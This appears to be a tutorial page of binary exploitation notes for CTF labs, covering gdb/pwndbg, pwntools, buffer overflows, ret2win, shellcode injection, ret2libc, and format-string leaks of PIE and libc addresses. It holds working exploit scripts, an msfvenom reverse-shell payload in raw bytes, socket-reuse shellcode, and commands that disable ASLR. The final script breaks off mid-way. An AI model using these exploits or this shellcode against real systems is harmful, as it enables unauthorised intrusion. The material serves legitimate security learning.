Hacking Notes logo Hacking Notes

Tools Usage

ltrace

ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are executed.

$ ltrace ./login 
__libc_start_main(0x8049192, 1, 0xff8f56d4, 0x8049260 <unfinished ...>
puts("Enter admin password: "Enter admin password: 
)                                                   = 23
gets(0xff8f55f6, 0xf7f808cb, 0xf7d3fa2f, 0x80491a9password
)                              = 0xff8f55f6
strcmp("password", "pass")                                                       = 1
puts("Incorrect Password!"Incorrect Password!
)                                                      = 20
printf("Successfully logged in as Admin "..., 25714Successfully logged in as Admin (authorised=25714) :)
)                             = 54
+++ exited (status 0) +++

As you can see the binary compares my password password with pass which should be the admin password.

Ghidra (Decompiler + Disassembler)

Ghidra is a very useful tool to decompile the binary and obtain a close version of the source code.

Ghidra

GDB + Peda + Pwndbg (Debugger + Disassembler)

Once installed and configured we just need to launch gdb.

$ gdb-peda
gdb-peda$

$ gdb-pwndbg                                                                        
pwndbg> 

Opening the file

First we need to select the binary.

gdb-peda$ file ./vuln
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)

Check functions

We can see what function are in there.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  gets@plt
0x08049040  puts@plt
0x08049050  __libc_start_main@plt
0x08049060  _start
0x080490a0  _dl_relocate_static_pie
0x080490b0  __x86.get_pc_thunk.bx
0x080490c0  deregister_tm_clones
0x08049100  register_tm_clones
0x08049140  __do_global_dtors_aux
0x08049170  frame_dummy
0x08049172  main
0x080491c0  __libc_csu_init
0x08049220  __libc_csu_fini
0x08049221  __x86.get_pc_thunk.bp
0x08049228  _fini

Disassemble a function

gdb can also disassemble a function.

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08049192 <+0>:     lea    ecx,[esp+0x4]
   0x08049196 <+4>:     and    esp,0xfffffff0
   0x08049199 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804919c <+10>:    push   ebp
   0x0804919d <+11>:    mov    ebp,esp
   0x0804919f <+13>:    push   ebx
   0x080491a0 <+14>:    push   ecx
   0x080491a1 <+15>:    sub    esp,0x10

Set breakpoints

We can set breakpoints in execution to stop the program in a function.

gdb-peda$ break main
Breakpoint 1 at 0x8049181

Or we can set a breakpoint in a address using the hex value or the ascii value.

gdb-peda$ break *0x804921e
Breakpoint 2 at 0x804921e
gdb-peda$ break *main+140
Breakpoint 1 at 0x804921e

We can also delete breakpoints

gdb-peda$ delete breakpoints

To move between instructions we can use n to go next, and c to continue.

Run the program

gdb-peda$ run

Stack Info

We can also retrieve which data is stored on the stack.

gdb-peda$ info stack
#0  0x08049181 in main ()
#1  0xf7dd4fd6 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2  0x08049092 in _start ()

Create and Read patterns

A common task is to determine the offset of our payload.

pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> cyclic -l haaa
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28

Pwntools

pwn is a python library that is designed to create exploits.

from pwn import *

In order to start a program we need to use process function.

io = process('./file')
io = remote('10.10.10.10', 80)
io.recvline()
io.send(b'PAYLOAD\r\n')
io.sendlineafter(b':', b'PAYLOAD')
io.recvall().decode()

Debug template

There is a custom template that is very useful to change between LOCAL, GDB, REMOTE <IP> <PORT>.

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
break main
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './ret2win'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

Ropper (Find Gadgets)

Sometimes we need to find some gadgets to overwrite some registers or simply to jump to the stack and execute our shellcode. ropper is a useful tool from pwntools that search the desired gadget

$ ropper --file server --search "jmp esp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp

[INFO] File: server
0x0804919f: jmp esp; 

Check Architecture

With file we can check with which architecture we are going to work.

$ file vuln                                     
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped

Binary Security

checksec is very usefull to see what defenses are enabled in the compiled binary.

$ checksec vuln                                 
[*] '/tmp/vuln'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Compile with no protections

If we have the source code (C), we can compile it with any protection.

gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie -m32

ASLR is a OS security measure so you just need to execute the following command:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

You can check the base address with:

ldd ./file

Overwriting Stack Variables

In some CTFs we need to overwrite a variable which is on the stack with a buffer overflow in order to get the flag.

After finding the user input which is vulnerable to BOF we need to fuzz in order to find the modification of the variable.

Example of a fuzzer using pwntools:

from pwn import *


for length in range(100):
	print("---- LENGTH %d" % length)
	io = process('./overwrite')
	payload = length * b'A'
	print(payload)
	io.sendlineafter(b'?', payload)
	print(io.recvall().decode())
---- LENGTH 31
[+] Starting local process './overwrite': pid 15721
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15721)
 12345678
...

---- LENGTH 32
[+] Starting local process './overwrite': pid 15724
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15724)
 12345600
...

---- LENGTH 33
[+] Starting local process './overwrite': pid 15727
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15727)
 12340041
...

As you can see after 32 dummy bytes the output variable has been modified.

To confirm we can create a exploit to control de variable.

from pwn import *
io = process('./overwrite')
payload = 32 * b'A' + b'BBBB'
io.sendlineafter(b'?', payload)
print(io.recvall().decode())

Output:

$ python3 myexploit.py
[+] Starting local process './overwrite': pid 20032
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 20032)
 42424242
...

Once we fully control the variable we need to reverse the binary in order to find which value we need to set into.

After setting a breakpoint in the direction where the variable is compared we can see the desired value.

────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────
 ► 0x80491e0 <do_input+78>     cmp    dword ptr [ebp - 0xc], 0xdeadbeef
   0x80491e7 <do_input+85>     jne    do_input+148                     <do_input+148>
    ↓
   0x8049226 <do_input+148>    sub    esp, 8
   0x8049229 <do_input+151>    push   dword ptr [ebp - 0xc]
   0x804922c <do_input+154>    lea    eax, [ebx - 0x1fe7]
   0x8049232 <do_input+160>    push   eax
   0x8049233 <do_input+161>    call   printf@plt                     <printf@plt>
 
   0x8049238 <do_input+166>    add    esp, 0x10
   0x804923b <do_input+169>    sub    esp, 0xc
   0x804923e <do_input+172>    lea    eax, [ebx - 0x1fe1]
   0x8049244 <do_input+178>    push   eax

The desired value is 0xdeadbeef. We can confirm by overwriting the variable on the debugger.

First we are going to check which is the current value of the memory address EBP - 0xc.

pwndbg> x $ebp -0xc
0xffffcc8c:     0x12345678

Now if we modify the 0xffffcc8c memory address to the desired one 0xdeadbeef and continue the program we will see that we complete the challange.

pwndbg> set *0xffffcc8c = 0xdeadbeef
pwndbg> x $ebp -0xc
0xffffcc8c:     0xdeadbeef
pwndbg> c
Continuing.
good job!!
deadbeef
[Inferior 1 (process 20292) exited normally]

Finally we just need to complete our script, we need to check with file command if the binary is little or bigger endian. In that case we are working with a 32-bit LSB binary so we need to reverse the bytes.

from pwn import *
io = process('./overwrite')
payload = 32 * b'A' + b'\xef\xbe\xad\xde'
io.sendlineafter(b'?', payload)
print(io.recvall().decode())
$ python3 myexploit.py
[+] Starting local process './overwrite': pid 21719
[+] Receiving all data: Done (21B)
[*] Process './overwrite' stopped with exit code 0 (pid 21719)
 good job!!
deadbeef

Ret2Win

Sometimes we need to jump into a function which is never called. So we will overwrite the EIP (instruction pointer) with the desired function memory address.

First of all we need to determine which input is vulnerable to BOF, then we will find hidden function and we will collect its memory address 0x08049182.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  printf@plt
0x08049040  puts@plt
0x08049050  __libc_start_main@plt
0x08049060  __isoc99_scanf@plt
0x08049070  _start
0x080490b0  _dl_relocate_static_pie
0x080490c0  __x86.get_pc_thunk.bx
0x080490d0  deregister_tm_clones
0x08049110  register_tm_clones
0x08049150  __do_global_dtors_aux
0x08049180  frame_dummy
0x08049182  hacked	<--------
0x080491ad  register_name
0x08049203  main
0x0804921f  __x86.get_pc_thunk.ax
0x08049230  __libc_csu_init
0x08049290  __libc_csu_fini
0x08049291  __x86.get_pc_thunk.bp
0x08049298  _fini

After crashing the program, we will see that the EIP, register which determines the return address of the function called, has been overwritten.

pwndbg> run
Starting program: /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/03-return_to_win/ret2win 
Name:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hi there, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*EAX  0x41
*EBX  0x61616161 ('aaaa')
 ECX  0x0
*EDX  0xf7fc2540 ◂— 0xf7fc2540
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0x8049230 (__libc_csu_init) ◂— push ebp
*EBP  0x61616161 ('aaaa')
*ESP  0xffffcd10 ◂— 'aaaaaaaaaaaaaaaaaaaaaa'
*EIP  0x61616161 ('aaaa')

Next step is control the EIP, so we need to find the offset. First we need to create a pattern.

pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Once sended the payload we will see that the EIP has been overwritten with haaa.

pwndbg> run
Starting program: /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/03-return_to_win/ret2win 
Name:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Hi there, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*EAX  0x6f
*EBX  0x61616166 ('faaa')
 ECX  0x0
*EDX  0xf7fc2540 ◂— 0xf7fc2540
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0x8049230 (__libc_csu_init) ◂— push ebp
*EBP  0x61616167 ('gaaa')
*ESP  0xffffcd10 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*EIP  0x61616168 ('haaa')

With cyclic we can see the offset.

pwndbg> cyclic -l haaa
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28

Finally we just need to send 28 bytes of dummy data and the memory address of the hacked function 0x08049182.

from pwn import *
io = process('./ret2win')
#Hacked function address 0x08049182
payload = 28 * b'A' + b'\x82\x91\x04\x08'
io.sendlineafter(b':', payload)
print(io.recvall())

Note: When dealing with Little Endian, we need to reverse the bytes order.

Ret2Win with Parameters

Similar with no parameters, but indeed we will need to append the parameteres to the stack.

Before adding ours parameters into the payload we need to specify the return address of the new function called. We can use junk data such as AAAA.

After the return address we will send the parameters in order of being called. First the first parameter and after that the second and more…

from pwn import *
io = process('./ret2win')
#Hacked function address 0x08049182
payload = 28 * b'A' + b'\x82\x91\x04\x08' + 'AAAA' + 'PARAM1' + 'PARAM2'
io.sendlineafter(b':', payload)
print(io.recvall())

Injecting Shellcode

In the last chapters we overwrite some stack variables or return address to access to hidden functions that never have been called. Buf if NX is disabled we will be able to execute shellcode on the stack such as a reverse shell.

$ checksec ./server
[*] '/tmp/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Once controlled the EIP, we are going to overwrite it with the memory address of jmp %esp gadget, which can be found with ropper.

$ ropper --file server --search "jmp esp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp

[INFO] File: server
0x0804919f: jmp esp; 

Creating Shellcode

There are different tools to create shellcode.

Shellcraft (pwntools)

shellcraft is a tool to create shellcode in linux. To list available payloads we can use:

shellcraft -l

Finally we need to specify the payload.

$ shellcraft i386.linux.sh   #hex
$ shellcraft i386.linux.sh -f a  #asm

Note: Remember to append NOPs (16) before the shellcode to ensure that is correctly loaded.

Example of exploit:

io = start()

# Offset to EIP
padding = 76

# Assemble the byte sequence for 'jmp esp' so we can search for it
jmp_esp = asm('jmp esp')
jmp_esp = next(elf.search(jmp_esp))

# Execute /bin/sh
shellcode = asm(shellcraft.sh())
# Exit
shellcode += asm(shellcraft.exit())

# Build payload
payload = flat(
    asm('nop') * padding,
    jmp_esp,
    asm('nop') * 16,
    shellcode
)

# Write payload to file
write("payload", payload)

# Exploit
io.sendlineafter(b':', payload)

# Get shell
io.interactive()

It can be also useful to use encoders in order to avoid bad characters:

arm_shellcode = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c', 'ls -la'], 0))
arm_shellcode = encoder.encode(arm_shellcode, avoid=b'\x00\n')

Msfvenom

msfvenom is the most usage tool to create payloads.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '\x00' -f python

And finally we just need to put inside our exploit.

io = start()

# Offset to EIP
padding = 76

# Assemble the byte sequence for 'jmp esp' so we can search for it
jmp_esp = asm('jmp esp')
jmp_esp = next(elf.search(jmp_esp))

# Execute Reverse Shell
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '\x00' -f python

buf =  b""
buf += b"\xbe\x99\xc0\x76\x66\xda\xd0\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x73\x3c\x94"
buf += b"\x93\xb2\x66\xae\xbf\xe7\xdb\x02\x2a\x05\x55\x45\x1a"
buf += b"\x6f\xa8\x06\xc8\x36\x82\x38\x22\x48\xab\x3f\x45\x20"
buf += b"\x53\xc0\xb5\xb1\xc3\xc2\xb5\xa0\x4f\x4a\x54\x72\x09"
buf += b"\x1c\xc6\x21\x65\x9f\x61\x24\x44\x20\x23\xce\x39\x0e"
buf += b"\xb7\x66\xae\x7f\x18\x14\x47\x09\x85\x8a\xc4\x80\xab"
buf += b"\x9a\xe0\x5f\xab"

# Build payload
payload = flat(
    asm('nop') * padding,
    jmp_esp,
    asm('nop') * 16,
    buf
)

# Write payload to file
write("payload", payload)

# Exploit
io.sendlineafter(b':', payload)

# Get shell
io.interactive()

Socket Re-Use

Instead of spawning a reverse shell that maybe give problems to us with bad characters we can re-use the open socket.

The following shellcode works to re-use the socket.

buf=b""
buf+=b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf+=b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf+=b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf+=b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf+=b"\x89\xe3\x31\xc9\xcd\x80";

Ret2Libc (Localy)

This technique is very useful to execute code when NX is enabled. Since we need to know the libc memory address and other gadgets we need to exploit it localy.

$ checksec secureserver
[*] '/tmp/secureserver'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

As allways we need to control the EIP in order to control the program flow.

Firstly its important to know that the binary need to be dynamically linked.

$ file secureserver
secureserver: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ba7b32f02b9ce5948bcb57c33599de4ad17682de, for GNU/Linux 3.2.0, not stripped

Dynamically linked sets means that some functions like gets or puts will been called from libc rather than been hardcoded on the binary. That code is stored on the libc library on the system.

Whenever the program wants to access one of this functions will have a look to the Global Offset Table (GOT).

Every libc library has different offsets, and sometimes ASLR is enabled so will need to leak the address or have local access to the system.

libc has more interesting functions such as system which a string like /bin/sh can be passed in order to create a shell.

Check ASLR

To check ASLR you can check the following file on the target machine:

cat /proc/sys/kernel/randomize_va_space
Result ASLR PIE
0 OFF OFF
1 ON ON
2 OFF OFF
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Find libc address

First we need to find the libc address.

$ ldd secureserver                 
        linux-gate.so.1 (0xf7fc7000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d7c000)
        /lib/ld-linux.so.2 (0xf7fc9000)

libc.so.6: /lib/i386-linux-gnu/libc.so.6 (0xf7d7c000)

Find system function address

Next step is to find the offset from libc of the system function.

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  3172: 0004c800    55 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.0

system@@GLIBC_2.0: 0x0004c800

Find exit function address

Optional, useful to avoid crashing the program while exploiting.

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit 
  1208: 0016ee00    33 FUNC    GLOBAL DEFAULT   15 quick_exit@GLIBC_2.10
  1567: 0003bc90    33 FUNC    GLOBAL DEFAULT   15 exit@@GLIBC_2.0
  2404: 0016edd0    34 FUNC    GLOBAL DEFAULT   15 atexit@GLIBC_2.0
  2606: 0003d740   196 FUNC    WEAK   DEFAULT   15 on_exit@@GLIBC_2.0
  2765: 000918c0    12 FUNC    GLOBAL DEFAULT   15 thrd_exit@GLIBC_2.28
  2767: 000918c0    12 FUNC    GLOBAL DEFAULT   15 thrd_exit@@GLIBC_2.34
  3274: 001641c0    56 FUNC    GLOBAL DEFAULT   15 svc_exit@GLIBC_2.0
  3288: 000df4f0    87 FUNC    GLOBAL DEFAULT   15 _exit@@GLIBC_2.0

exit@@GLIBC_2.0: 0x0003bc90

Find /bin/sh string

$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 1b5faa /bin/sh

/bin/sh: 0x001b5faa

Exploiting

This is an example with pwntools:

io = start()

# Offset to EIP
padding = 76

#Addresses
libc_base = 0xf7d7c000
system = libc_base + 0x4c800
exit = libc_base + 0x3bc90
binsh = libc_base + 0x1b5faa

# Build payload
payload = flat(
  asm('nop') * padding, # Offset to EIP
  system, # Address of SYSTEM function in LIBC
  exit, # Return pointer
  binsh # Address of /bin/sh in LIBC
)

# Save payload to a file
write('payload.bin', payload)

# Exploit
io.sendlineafter(b':', payload)

# Get shell
io.interactive()

Another example with struct:

import struct

offset = 52
overflow = "A" * offset

libc = 0xb7e19000

system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)

payload = overflow + system + exit + binsh
print(payload)

Ret2Libc 64-bit (Locally)

Similar to 32bits but we need to find the gadget of pop rdi and ret.

$ ropper --file secureserver --search "pop rdi" 
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: secureserver
0x000000000040120b: pop rdi; ret; 


$ ropper --file secureserver --search "ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: secureserver
0x0000000000401016: ret; 

The exploit is quite similar, but we need to put the payload in the following order:

PADDING + RET + POP RDI + /bin/sh + libc.system + libc.exit
io = start()

offset = 72
pop_rdi = 0x40120b
ret = 0x401016

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x00007ffff7dc9000

payload = flat(
    asm("nop") * offset,
    ret,
    pop_rdi,
    next(libc.search(b'/bin/sh\x00')),
    libc.symbols.system,
    libc.symbols.exit
)
io.sendlineafter(b':', payload)
io.interactive()

Format String Vulnerability (printf)

A format string vulnerability is not a buffer overflow itself, but it is used to leak addresses such as the PIE base address or libc addresses.

What is a format string?

Format strings are strings that contain format specifiers. They are used in format functions in C and in many other programming languages.

Format specifiers in a format string are placeholders that will be replaced with a piece of data that the developer passes in.

printf("Hello, my name is %s.", name);
Format String Description
%d Integers in decimal
%u Unsigned integer in decimal
%x Unsigned integer in hex
%s Data should be a pointer to a string
%p Pointer in hex

Vulnerability

When in a printf statement is called without specifying what type it should be like the following case:

printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);

We are going to be able to exfiltrate data of the buffer such as pointers to libc functions and more.

> %p %p %p %p %p
0x40 0xf7f99620 0x8049217 (nil) 0x67616c66

We can also ask directly to the nth number of the stack, here it can appear some pointers and some strings that are added to the stack.

> %1$p
0x40
> %2$p
0xf7f99620
> %3$p
0x8049217

Note: Is little endian, we need to reverse it to obtain the string.

Fuzzer - Search for strings

We can craft a fuzzer to retrieve strings from the stack.

from pwn import *

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('./format_vuln', checksec=False)

# Let's fuzz 100 values
for i in range(100):
    try:
        # Create process (level used to reduce noise)
        p = process(level='error')
        # When we see the user prompt '>', format the counter
        # e.g. %2$s will attempt to print second pointer as string
        p.sendlineafter(b'> ', '%{}$s'.format(i).encode())
        # Receive the response
        result = p.recvuntil(b'> ')
        # Check for flag
        # if("flag" in str(result).lower()):
        print(str(i) + ': ' + str(result))
        # Exit the process
        p.close()
    except EOFError:
        pass
37: b'\x98$\xad\xfb\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd6\x04\x08\n> '
39: b'flag{foRm4t_stRinGs_aRe_DanGer0us}\n> '
40: b'\x01\n> '

Leak PIE and Libc addresses (Ret2libc remote)

We can combine two techniques that have been disscussed in this post earlier. We can use the format string vulnerability to bypass PIE and leak the remote libc address.

PIE is the same concept than ASLR but applied specifically to the binary. So if a binary is compiled with PIE, instead of see addresses in our debugger we will see offsets to the PIE Base address.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001030  puts@plt
0x0000000000001040  printf@plt
0x0000000000001050  fgets@plt
0x0000000000001060  gets@plt
0x0000000000001070  setgid@plt
0x0000000000001080  setuid@plt
0x0000000000001090  __cxa_finalize@plt
0x00000000000010a0  _start
0x00000000000010d0  deregister_tm_clones
0x0000000000001100  register_tm_clones
0x0000000000001140  __do_global_dtors_aux
0x0000000000001180  frame_dummy
0x0000000000001185  enter_name
0x00000000000011d6  vuln
0x00000000000011f8  main
0x0000000000001250  __libc_csu_init
0x00000000000012b0  __libc_csu_fini
0x00000000000012b4  _fini

The idea is to use a format string vulnerability to leak the PIE base address.

With GDB we can get the local PIE base, we will use to calculate offsets localy, but the PIE base address will change on a remote server.

pwndbg> piebase
Calculated VA from /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/08-leak_pie_ret2libc/pie_server = 0x555555554000

We can use breakrva to put a breakpoint knowing the offset of the PIE base.

pwndbg> breakrva 0x11f0
Breakpoint 6 at 0x5555555551f0

We need to create a fuzzer in order to find on the stack some addresses.

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
piebase
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './pie_server'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'warning'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

for i in range(100):
  try: 
    io = start()
    io.sendlineafter(b':', '%{}$p'.format(i).encode())
    io.recvuntil(b'Hello ')
    r = io.recvline()
    print(str(i) + ': ' + str(r))
  except:
    pass
0: b'%0$p\n'
1: b'0x6c6c6548\n'
2: b'(nil)\n'
3: b'(nil)\n'
4: b'0x5555555596b5\n'
5: b'(nil)\n'
6: b'0xa70243625\n'
7: b'(nil)\n'
8: b'(nil)\n'
15: b'0x555555555224\n'
38: b'0x5555555551f8\n'

Knowing our PIE base address looks like 0x555555554000, the 4th item of the stack is probably a address of a function. Let’s calculate which is the offset to the base.

pwndbg> x 0x5555555596b5
0x5555555596b5: Cannot access memory at address 0x5555555596b5
pwndbg> x 0x5555555550ca
0x5555555550ca <_start+42>:     0x441f0ff4
pwndbg> x 0x5555555550a0
0x5555555550a0 <_start>:        0x8949ed31
pwndbg> x 0x5555555551f8
0x5555555551f8 <main>:  0xe5894855
pwndbg> x 0x555555555224
0x555555555224 <main+44>:       0xfd3d8d48
pwndbg> x 0x7fffffffe796
0x7fffffffe796: 0x5345445f

We can use for example main function that we know that is the 38th item of the stack to calculate the offset.

pwndbg> x 0x5555555551f8 - 0x555555554000 
0x11f8 <main>:  Cannot access memory at address 0x11f8

Note: OFFSET = KNOWN FUNCTION - LOCAL PIE BASE.

So if we retrieve the main address and we know the offset we can get the PIE base address.

# Retrieving PIE Base Address
elf = context.binary = ELF(exe, checksec=False)

io = start()
io.sendlineafter(b':', '%38$p')
io.recvuntil(b'Hello ')
r = io.recvline()

main_address = int(r[:-1], 16)
info("Leaked <main>: %#x", main_address)

elf.address = main_address - 0x11f8
info("PIE base: %#x", elf.address)
[*] Leaked <main>: 0x5555555551f8
[*] PIE base: 0x555555554000

Note: REMOTE PIE BASE = KNOWN FUNCTION - OFFSET.

$ ropper --file pie_server --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: pie_server
0x00000000000012ab: pop rdi; ret;

Next step is to execute a BOF in order to leak a function address of the GOT. In that case with the function puts called on the program we can print the value of address of puts on the global offset table.

We can specify the function address in the return to execute another time the vulnerable function.

# Retrieving LIBC address
# - BOF
padding = 264
pop_rdi = elf.address + 0x12ab

payload = flat(
  padding * b'A',
  pop_rdi,
  elf.got.puts,
  elf.plt.puts,
  elf.symbols.vuln
)

io.sendlineafter(b':P', payload)
io.recvlines(2)
got_puts = unpack(io.recvline()[:6].ljust(8, b"\x00"))
info("GOT Puts: %#x", got_puts)
[*] Leaked <main>: 0x5555555551f8
[*] PIE base: 0x555555554000
[*] GOT Puts: 0x7ffff7e3c820

Next step is to obtain the libc base address. Knowing the libc library used and knowing the address of the put function, we can calculate the offset.

$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
   230: 0000000000077820   405 FUNC    WEAK   DEFAULT   16 puts@@GLIBC_2.2.5
pwndbg> x 0x7ffff7e3c820 - 0x77820
0x7ffff7dc5000: 0x464c457f

Next Step is to search all the functions needed and overflow the buffer to execute commands.

libc_address = got_puts - 0x77820
system = libc_address + 0x4c330
binsh = libc_address + 0x196031
exit = libc_address + 0x3e590

info("libc Base: %#x", libc_address)
info("System: %#x", system)
info("/bin/sh: %#x", binsh)
info("Exit: %#x", exit)

payload = flat(
  padding * b'A',
  pop_rdi,
  binsh,
  system
)

io.sendline(payload)
io.interactive()

If we don’t have he libc library to search the offset we can use https://libc.blukat.me to search which library is using and the other ofsets.

Blukat

Final exploit:

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
piebase
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './pie_server'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)

# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'

io = start()
io.sendlineafter(b':', '%19$p')
io.recvuntil(b'Hello ')
r = io.recvline()

